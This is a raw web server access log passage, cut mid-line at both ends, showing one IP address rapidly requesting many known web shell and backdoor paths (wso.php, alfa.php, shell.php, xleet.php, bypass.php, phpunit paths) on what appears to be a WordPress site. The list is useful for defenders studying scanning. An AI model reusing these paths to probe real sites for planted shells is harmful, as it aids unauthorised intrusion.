(Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:44:24 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:24 +0300] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:24 +0300] "GET /plugins/content/apismtp/apismtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:24 +0300] "GET /wp-admin/includes/class-core-upgrader-first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:24 +0300] "GET /wp-admin/css/wp-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:24 +0300] "GET /wp-includes/IXR/goto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:24 +0300] "GET /wp-admin/css/colors/blue/xboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:24 +0300] "GET /wp-content/themes/kadence/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:44:24 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:25 +0300] "GET /wp-fmfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:25 +0300] "GET /.trash7309/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:25 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:25 +0300] "GET /wp-content/plugins/ioxi/ioxi/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:25 +0300] "GET /memberfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:44:25 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:25 +0300] "GET /modules/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:25 +0300] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:25 +0300] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:25 +0300] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:25 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:26 +0300] "GET /wsad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:26 +0300] "GET /nation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:44:26 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:26 +0300] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:44:26 +0300] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:44:26 +0300] "GET /autoload_classmap/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:26 +0300] "GET /wp-atomx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:26 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:26 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:26 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:26 +0300] "GET /wp-content/plugins/ubh/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:26 +0300] "GET /wp-includes/SimplePie/Registry-private.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:44:27 +0300] "GET /wp-includes/assets/script-modules-packages.min-meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:27 +0300] "GET /wp-includes/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:27 +0300] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:44:27 +0300] "GET /admin/controller/extension/extension/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:27 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:27 +0300] "GET /wp-admin/css/colors/modern/colors.css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:27 +0300] "GET /wp-includes/style-engine/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:27 +0300] "GET /css/media-widget-vide02.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:44:27 +0300] "GET /wp-includes/blocks/group/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:27 +0300] "GET /images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:44:27 +0300] "GET /templates/beez3/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:27 +0300] "GET /wp-includes/widgets/class-wp-wolf-widget.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:28 +0300] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:28 +0300] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:28 +0300] "GET /.well-known/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:44:28 +0300] "GET /wordpress/wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:28 +0300] "GET /.well-known/pki-validation/server.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:28 +0300] "GET /autoload_classmap/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:28 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:28 +0300] "GET /wp-content/plugins/ubh/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:28 +0300] "GET /wp-content/uploads/anas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:28 +0300] "GET /wp-admin/css/colors/blue/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:44:28 +0300] "GET /wp-content/plugins/erinyani/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:28 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:29 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:29 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:29 +0300] "GET /wp-content/plugins/pwnd/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:29 +0300] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:29 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:29 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:29 +0300] "GET /wp-content/upgrade/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:29 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:29 +0300] "GET /wp-includes/wp-sup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:44:29 +0300] "GET /wordpress/wp-includes/class-wp-http-ixr-client-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:29 +0300] "GET /images/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:44:29 +0300] "GET /wp-includes/widgets/class-t.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:30 +0300] "GET /wp-content/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:30 +0300] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:30 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:30 +0300] "GET /wp-admin/css/colors/blue/navi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:30 +0300] "GET /wp-includes/css/dist/require-dynamic-blocks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:30 +0300] "GET /xp.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:30 +0300] "GET /wp-content/languages/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:30 +0300] "GET /wp-content/bypass_1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:30 +0300] "GET /wp-admin/js/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:30 +0300] "GET /wp-includes/widgets/class-wp-widget-rss-database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:30 +0300] "GET /.well-known/pki-validation/kur.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:31 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:31 +0300] "GET /wp-includes/class-wp-customize-manager-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:31 +0300] "GET /wp-includes/assets/script-modules-packages.min-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:44:31 +0300] "GET /wp-admin/css/colors/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:44:31 +0300] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:44:31 +0300] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:31 +0300] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:44:31 +0300] "GET /wp-admin/maint/repairs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:31 +0300] "GET /wp-includes/images/smilies/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:31 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:32 +0300] "GET /wp-header.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:32 +0300] "GET /file.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:44:32 +0300] "GET /.tmb/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:32 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:32 +0300] "GET /wp-includes/style-engine-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:32 +0300] "GET /images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:44:32 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:32 +0300] "GET /adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:32 +0300] "GET /js/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:44:32 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:44:32 +0300] "GET /wp-includes/blocks/file/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:32 +0300] "GET /wp-content/mu-plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:33 +0300] "GET /wp-includes/IXR/class-IXR-cilent.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:33 +0300] "GET /wp-content/uploads/wp-cert.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:33 +0300] "GET /about/function.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:33 +0300] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:33 +0300] "GET /wp-includes/PHPMailer/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:33 +0300] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:33 +0300] "GET /f35_SpaceTn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:33 +0300] "GET /wp-admin/css/colors/sunrise/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:44:33 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/fixed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 